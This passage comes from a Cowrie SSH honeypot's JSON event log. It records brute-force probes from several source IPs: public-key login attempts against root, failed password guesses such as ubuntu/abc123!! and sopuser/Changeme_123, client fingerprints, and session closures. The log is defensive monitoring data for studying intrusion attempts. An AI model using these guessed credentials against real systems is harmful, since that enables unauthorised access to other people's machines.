a1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:21.873957Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:49:df:2f:2d:ef:c6:bc:70:cb:f2:81:6e:15:48:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF6mivRXCEctJtleryDU0u/XeB2m7rsKp6J/bbD2At2g7gt7fR4UtUgzDfiHgpVv+0CBfwtxpmkFq0Sdc+QzFJ9W6TsNYIJTIvhaQXJmWOgPUbPYCqic2yvu9lDGkK/M3mkGhwtN8xWThUFOmlvs5/juUyM8LLO4+HPDEDrRRHjFEJSOnkoFJyZeHz1F3NP/+CcXtb0NU3eGQzhN7AEyOBgQQDoQbF1dKwR7zoIPF5uU6IL2Zq/U2YJIq85WBp4HLBySPycNwlftV2msPM0wFL1Vn+54cqhNXZOpZZSYquzbyEA2Rg4N0QVPF0Gq2obATi00M7kFMiKW9uruEd4+vN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:49:df:2f:2d:ef:c6:bc:70:cb:f2:81:6e:15:48:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.528626Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:49:df:2f:2d:ef:c6:bc:70:cb:f2:81:6e:15:48:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF6mivRXCEctJtleryDU0u/XeB2m7rsKp6J/bbD2At2g7gt7fR4UtUgzDfiHgpVv+0CBfwtxpmkFq0Sdc+QzFJ9W6TsNYIJTIvhaQXJmWOgPUbPYCqic2yvu9lDGkK/M3mkGhwtN8xWThUFOmlvs5/juUyM8LLO4+HPDEDrRRHjFEJSOnkoFJyZeHz1F3NP/+CcXtb0NU3eGQzhN7AEyOBgQQDoQbF1dKwR7zoIPF5uU6IL2Zq/U2YJIq85WBp4HLBySPycNwlftV2msPM0wFL1Vn+54cqhNXZOpZZSYquzbyEA2Rg4N0QVPF0Gq2obATi00M7kFMiKW9uruEd4+vN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.532479Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:be:49:a9:28:84:f8:47:12:b6:d8:b4:9a:cf:c6:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOUMKXyqFed2nFlpJv4uLTnZfix8YVODUj2InU5aNApNv5WjtFzJbv+cIgN55Vtzc7Z5amD3xkCJYvzSfxZDqdHpl2B2glLI/TkquhbaFu5Wb2Eq4w8d5b+UINi+GS/8E9sLNaxlLCP6YScxhDyAnyMeEdnLey+3z8339390Gfj9GRcetm3uyqVBjQ+BvI3C3QkjjGYU8EREgNRm7WJIc2/XOzZIhEo9V+sXmlNAT8OSMzEvXfdA2pxpyl0DADB3EDlL8TadIeHx1bn28msq8fkIZ83nCYu2xJ78be8SXq4wreOgP869zNARrXjsPe89EFc98q1zQUgIalExyl7RVx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:be:49:a9:28:84:f8:47:12:b6:d8:b4:9a:cf:c6:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.669253Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:be:49:a9:28:84:f8:47:12:b6:d8:b4:9a:cf:c6:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOUMKXyqFed2nFlpJv4uLTnZfix8YVODUj2InU5aNApNv5WjtFzJbv+cIgN55Vtzc7Z5amD3xkCJYvzSfxZDqdHpl2B2glLI/TkquhbaFu5Wb2Eq4w8d5b+UINi+GS/8E9sLNaxlLCP6YScxhDyAnyMeEdnLey+3z8339390Gfj9GRcetm3uyqVBjQ+BvI3C3QkjjGYU8EREgNRm7WJIc2/XOzZIhEo9V+sXmlNAT8OSMzEvXfdA2pxpyl0DADB3EDlL8TadIeHx1bn28msq8fkIZ83nCYu2xJ78be8SXq4wreOgP869zNARrXjsPe89EFc98q1zQUgIalExyl7RVx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.673146Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:4e:ef:3c:b4:b9:27:7e:e3:fe:50:ac:c2:18:10:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqC0XD4/e1Kwycg2cralf/F/0Qozk1u9KYhMGfrukIEe6aQ/Pp7mq4NFY70F0EqkGR+JTKAiI7pJgLYjBX3zqZX49nyfUQ10kYJr/QOydmIbaeE4ONmywwyrSr0ymvpDumq7UZHcLzPHMm5GR1svBP9hjZFcHVH8o61TciYwtkKS2oRd3+Gm5iLdl4adLWQyvB9R5XTlWN4O4vS4j7PG/9jNE1orDgH7h/qSGK+imQs1ayGndh+hEX7zmjv8W5AvhSA4LJ6eM7nCWaEuzNvvYGBt7R2ZDFmveSVM+2xVjFAkLlstHThGkKtNZPI4VcuWbsM36VCu0Ric2FANvHi2daQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:4e:ef:3c:b4:b9:27:7e:e3:fe:50:ac:c2:18:10:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.809887Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:4e:ef:3c:b4:b9:27:7e:e3:fe:50:ac:c2:18:10:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqC0XD4/e1Kwycg2cralf/F/0Qozk1u9KYhMGfrukIEe6aQ/Pp7mq4NFY70F0EqkGR+JTKAiI7pJgLYjBX3zqZX49nyfUQ10kYJr/QOydmIbaeE4ONmywwyrSr0ymvpDumq7UZHcLzPHMm5GR1svBP9hjZFcHVH8o61TciYwtkKS2oRd3+Gm5iLdl4adLWQyvB9R5XTlWN4O4vS4j7PG/9jNE1orDgH7h/qSGK+imQs1ayGndh+hEX7zmjv8W5AvhSA4LJ6eM7nCWaEuzNvvYGBt7R2ZDFmveSVM+2xVjFAkLlstHThGkKtNZPI4VcuWbsM36VCu0Ric2FANvHi2daQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.814281Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:bb:c9:b4:8d:e6:b3:cd:89:90:01:ce:2d:b5:d3:00","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINXTNr62+7e64ySs2Y3oj5kp3/aKXCarHpMJV5KxtZVa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7d:bb:c9:b4:8d:e6:b3:cd:89:90:01:ce:2d:b5:d3:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.953298Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:bb:c9:b4:8d:e6:b3:cd:89:90:01:ce:2d:b5:d3:00","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINXTNr62+7e64ySs2Y3oj5kp3/aKXCarHpMJV5KxtZVa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:22.957566Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:47:ea:34:15:c0:f7:64:f7:f6:9a:4e:b1:d5:e7:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc5C+RNbgdNmvG3NfivPQ8pp52ycQzwtHj2j2tp9vxhnX7wxy2soJHTKR4TZ/+Ofig8eCc6v6TvBZMfpUnRs09tyXGRCds54XXSfaqez5yUt3RGuOpmZQpG0m00n8SsHLEHSqKzFH8WcKfQ/NfujHcwK1w8keXcV4Ij3OvpMJ7z5xSdB+0pjY2Bkuqr50WwT8FGY37CVxUtOlQlKVWS6d+MOOnjJ2QTir5npOOt3m+IN1gbYiZBT/pLPQPcMtS7rZfvZby71OzYFUUCKUAmZsa1gSUy32oCFTT9wgsCjfm7VUkBK5YEZSCdW5GN/o3vJxhfBhJ/2As+mhk3jd0Spg0ZSVKqciVnpqWDX4lamFqNQ5NU4MKN24jsMIB0oN1hdfejNep1FT7+uDI3RwItjm55lMDfy7gVuHfPnNoqZcCmyHswxi0GKpcPJo9YHJnxuaGbsxBsBFTrWi1GfXB6VgN5OEIZYXOqgzTQypAmamR6HUeuctJiY2WaxW7PizMtjU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:47:ea:34:15:c0:f7:64:f7:f6:9a:4e:b1:d5:e7:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:23.093593Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:47:ea:34:15:c0:f7:64:f7:f6:9a:4e:b1:d5:e7:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc5C+RNbgdNmvG3NfivPQ8pp52ycQzwtHj2j2tp9vxhnX7wxy2soJHTKR4TZ/+Ofig8eCc6v6TvBZMfpUnRs09tyXGRCds54XXSfaqez5yUt3RGuOpmZQpG0m00n8SsHLEHSqKzFH8WcKfQ/NfujHcwK1w8keXcV4Ij3OvpMJ7z5xSdB+0pjY2Bkuqr50WwT8FGY37CVxUtOlQlKVWS6d+MOOnjJ2QTir5npOOt3m+IN1gbYiZBT/pLPQPcMtS7rZfvZby71OzYFUUCKUAmZsa1gSUy32oCFTT9wgsCjfm7VUkBK5YEZSCdW5GN/o3vJxhfBhJ/2As+mhk3jd0Spg0ZSVKqciVnpqWDX4lamFqNQ5NU4MKN24jsMIB0oN1hdfejNep1FT7+uDI3RwItjm55lMDfy7gVuHfPnNoqZcCmyHswxi0GKpcPJo9YHJnxuaGbsxBsBFTrWi1GfXB6VgN5OEIZYXOqgzTQypAmamR6HUeuctJiY2WaxW7PizMtjU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:23.097732Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:23.234032Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":28812,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f010bf3d89d","protocol":"ssh","message":"New connection: 101.36.119.184:28812 (10.17.0.5:22) [session: 4f010bf3d89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:44.997156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:45.002434Z","src_ip":"101.36.119.184","session":"4f010bf3d89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:45.224705Z","src_ip":"101.36.119.184","session":"4f010bf3d89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!!","message":"login attempt [ubuntu/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:46.137455Z","src_ip":"101.36.119.184","session":"4f010bf3d89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:47.361267Z","src_ip":"101.36.119.184","session":"4f010bf3d89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00468468666077,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:50.491615Z","src_ip":"212.55.149.117","session":"70617eeb9b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"e273b270ebb1","protocol":"ssh","message":"New connection: 2.57.122.210:35626 (10.17.0.5:22) [session: e273b270ebb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:27.609706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:27.614840Z","src_ip":"2.57.122.210","session":"e273b270ebb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:27.745323Z","src_ip":"2.57.122.210","session":"e273b270ebb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:28.209134Z","src_ip":"2.57.122.210","session":"e273b270ebb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:29.319845Z","src_ip":"2.57.122.210","session":"e273b270ebb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":45190,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fe1de29d29","protocol":"ssh","message":"New connection: 101.36.119.184:45190 (10.17.0.5:22) [session: 69fe1de29d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:33.384210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:33.388522Z","src_ip":"101.36.119.184","session":"69fe1de29d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:33.603240Z","src_ip":"101.36.119.184","session":"69fe1de29d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.207.234","src_port":53982,"dst_ip":"10.17.0.5","dst_port":22,"session":"a10c1514a240","protocol":"ssh","message":"New connection: 152.32.207.234:53982 (10.17.0.5:22) [session: a10c1514a240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:34.094262Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003PD\\xfcY\\xf2\t\\xc8S\\xac\\x9f\\xe1\u078f\\xda,G\\xa0L\u001e[\\xa3\\xcd$\\xa7\\xbf$Ucm9\\x8ew \\xa4\\xfc\u0600F\\xf6\\xfc\\xbe\\x81i3\\xbb'\\xdf\\xfe\\xe5g<\\x9d\\x86\\xb8\\xf4\\xb4K\\x91\\xb0ftU\\xe1\\xf2\\xa6\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003PD\\xfcY\\xf2\t\\xc8S\\xac\\x9f\\xe1\u078f\\xda,G\\xa0L\u001e[\\xa3\\xcd$\\xa7\\xbf$Ucm9\\x8ew \\xa4\\xfc\u0600F\\xf6\\xfc\\xbe\\x81i3\\xbb'\\xdf\\xfe\\xe5g<\\x9d\\x86\\xb8\\xf4\\xb4K\\x91\\xb0ftU\\xe1\\xf2\\xa6\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:34.102357Z","src_ip":"152.32.207.234","session":"a10c1514a240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:34.105862Z","src_ip":"152.32.207.234","session":"a10c1514a240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.207.234","src_port":53986,"dst_ip":"10.17.0.5","dst_port":22,"session":"192a72d93f3e","protocol":"ssh","message":"New connection: 152.32.207.234:53986 (10.17.0.5:22) [session: 192a72d93f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:34.121586Z"}
{"eventid":"cowrie.login.failed","username":"sopuser","password":"Changeme_123","message":"login attempt [sopuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:34.491438Z","src_ip":"101.36.119.184","session":"69fe1de29d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:35.709303Z","src_ip":"101.36.119.184","session":"69fe1de29d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.134662Z","src_ip":"152.32.207.234","session":"192a72d93f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.207.234","src_port":34062,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fd4b4129d5","protocol":"ssh","message":"New connection: 152.32.207.234:34062 (10.17.0.5:22) [session: 69fd4b4129d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.144065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.148955Z","src_ip":"152.32.207.234","session":"69fd4b4129d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.164757Z","src_ip":"152.32.207.234","session":"69fd4b4129d5","protocol":"ssh"}
